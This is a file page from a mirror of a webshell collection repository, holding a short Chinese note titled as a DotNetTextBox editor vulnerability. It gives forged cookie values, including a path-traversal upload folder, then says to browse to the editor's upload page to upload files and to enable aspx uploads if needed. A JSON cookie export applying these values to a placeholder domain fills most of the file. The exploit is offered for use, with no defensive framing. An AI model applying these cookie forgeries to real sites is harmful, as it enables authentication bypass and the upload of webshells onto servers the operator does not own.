1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00
Files
webshell/other/DotNetTextBox-bug
2013-06-05 17:40:52 +08:00

64 lines
1.3 KiB
Plaintext
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
DotNetTextBox编辑器漏洞
修改cookie为
cookie:UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/;
之后浏览 xxx.com/system_dntb/uploadFile.aspx/uploadFile.aspx
即可上传
如不行 则在system_dntb/Advanced.aspx添加 aspx or别的类型
[{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "UserType",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "IsEdition",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "Info",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "1"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "uploadFolder",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "../system_dntb/"
}]